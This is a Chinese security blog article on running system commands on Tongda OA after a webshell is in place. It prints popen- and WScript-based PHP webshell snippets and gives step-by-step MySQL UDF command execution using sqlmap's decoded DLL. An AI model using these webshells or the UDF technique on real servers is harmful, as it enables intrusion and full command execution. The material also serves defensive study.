某知名OA命令执行方法探索(续) - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

某知名OA命令执行方法探索(续)

盛邦安全 行业 2022-08-25 15:23:07
105219
收藏

导语:熟悉通达的小伙伴都知道通达是属于集成安装环境,和一般的CMS不同,通达安装好之后是自带配置好的WEB服务器nginx,一般来说不存在环境问题导致的差异。通达在配置中默认配置了disable_functions选项,禁止了常见的命令执行函数,甚至就连phpinfo也是禁用的。为了测试方便,在后续的分析中都手动去除了phpinfo不能执行的限制。

在上一篇文章之后,有小伙伴留言问通达OA获取权限后如何才能执行命令。本来是想留下一个小的悬念给大家,既然有人问起,咱们就把这个问题继续探讨一下。

传送门:

某知名OA高版本getshell思路(附部分脚本)

0x01 回顾过去

熟悉通达的小伙伴都知道通达是属于集成安装环境,和一般的CMS不同,通达安装好之后是自带配置好的WEB服务器nginx,一般来说不存在环境问题导致的差异。通达在配置中默认配置了disable_functions选项,禁止了常见的命令执行函数,甚至就连phpinfo也是禁用的。为了测试方便,在后续的分析中都手动去除了phpinfo不能执行的限制。

在老版本的通达(大约11.4)中,对disable_functions配置的有明显的缺陷,早期版本的通达配置如图1.1所示。

1661314689155534.png

图1.1 早期通达OA的disable_functions配置

从图1.1中可以看出在禁用的函数中缺陷了popen函数,所以可以通过popen函数来执行系统命令,相关代码如下所示。

基于popen的命令执行

 <?php
 @putenv("PATH=".getenv("PATH").";C:/Windows/system32;");
 $fp=@popen($_REQUEST['cmd'],'r');
 while(!@feof($fp)) {  
   print(@fgets($fp,2048));
 }
 @pclose($fp);

另外网上也早有文章提到可以通过Windows的Com组件来执行命令,相关代码如下所示。

基于WScript的命令执行

 exec("cmd.exe /c ".$_REQUEST['cmd']."");  
 $stdout = $exec->StdOut();  
 $stroutput = $stdout->ReadAll();  
 echo $stroutput;exit();
 ?>

通过这两种方式都可以达到命令执行的效果,如图1.2所示。

1661314853390811.png

图1.2 早期版本通达命令执行的方式

但是这两种方式在新版本的通达中均无法使用,首先来看新版本通达的disable_functions配置,如图1.3所示。

1661314871210455.png

图1.3 新版本通达OA的disable_functions配置

可以看出在新版本中明显修复了早期版本中漏掉的popen函数,虽然并没有在disableClassed中禁用Com组件相关的类,但是实际上通达OA已经默默关闭了Com组件,如图1.4所示。1661314887162444.png

图1.4 对比新旧版版通达OA对Com组件支持的差异

所以上面的两种命令执行的方式对于新通达来说都已经不适用了,如果我们在哥斯拉中连接通达OA的webshell,在执行命令中会看到如图1.5所示的报错。

1661314904183003.png

图1.5 通达OA命令执行报错

0x02 面对现实

仔细查看图1.3的disable_functions中,我们可以想到下面的绕过方式。

1) 利用LD_PRELOAD记载恶意so文件达到执行命令的效果行不行?答案是不行,一般来说通达OA都是windows的环境,不适用这种方式。

2) pcntl_exec函数没有在disable_functions的列表中,能不能利用这个函数来执行命令?答案也是不行,通达默认安装的环境没有pcntl扩展。

3) 利用ImageMagick来执行命令行不行?答案还是不行,默认安装的环境没有ImageMagick扩展。

目前想直接绕过disable_functions来执行命令已经是一件很难的事情了,换一种思路,我们目前有一个文件管理的webshell,并且通达OA默认安装都是system权限。怎么通过文件操作来执行命令呢?一种最简单的方式是直接把马上传到自启动目录,等待服务器重启,然后执行命令,这种是不是可行呢?可行,但是效果不好,一般不会这么用。因为一方面要等待服务器重启,这个条件不满足实际攻击场景,另一方面修改自启动目录容易被杀软拦截。

一种更好的办法是通过mysql udf来执行命令,整个利用过程如下所示。

1) 找到通达OA的数据库配置文件webroot/inc/oa_config.php。通达OA的源码文件默认是加密的,但是配置文件是不加密的,所以可以直接打开查看,如图2.1所示。

1661314928149725.png

图2.1 数据库配置文件

2) 生成udf.dll文件,网上虽然可以直接下载到很多udf.dll,但是不确定是不是有后门。而且其他随意下载的udf.dll文件经常导致数据库崩溃(多次血与泪的教训,dll不对会导致网站崩溃)。我强烈建议大家使用sqlmap自带的udf.dll文件,但是默认情况下sqlmap的udf是混淆过的,需要使用其自带的cloak工具转换回来才能使用。

 python extra/cloak/cloak.py -d -i data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

使用上面的命令,会在lib_mysqludf_sys.dll_文件所在目录生成一个lib_mysqludf_sys.dll的文件,这个才是能被直接使用的udf提权dll文件。

3) 把刚才生成的文件lib_mysqludf_sys.dll上传到目标的mysql5/lib/plugin目录,默认情况下不存在这个目录,需要创建目录。

4) 连接数据库,执行下面的语句

create function sys_exec RETURNS int soname 'lib_mysqludf_sys.dll';//执行命令返回状态码create function sys_eval returns string soname 'lib_mysqludf_sys.dll '; //执行命令返回命令执行结果
select sys_eval("whoami");


1661314967191068.png


 

如此方能在新版本中成功执行命令。

如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务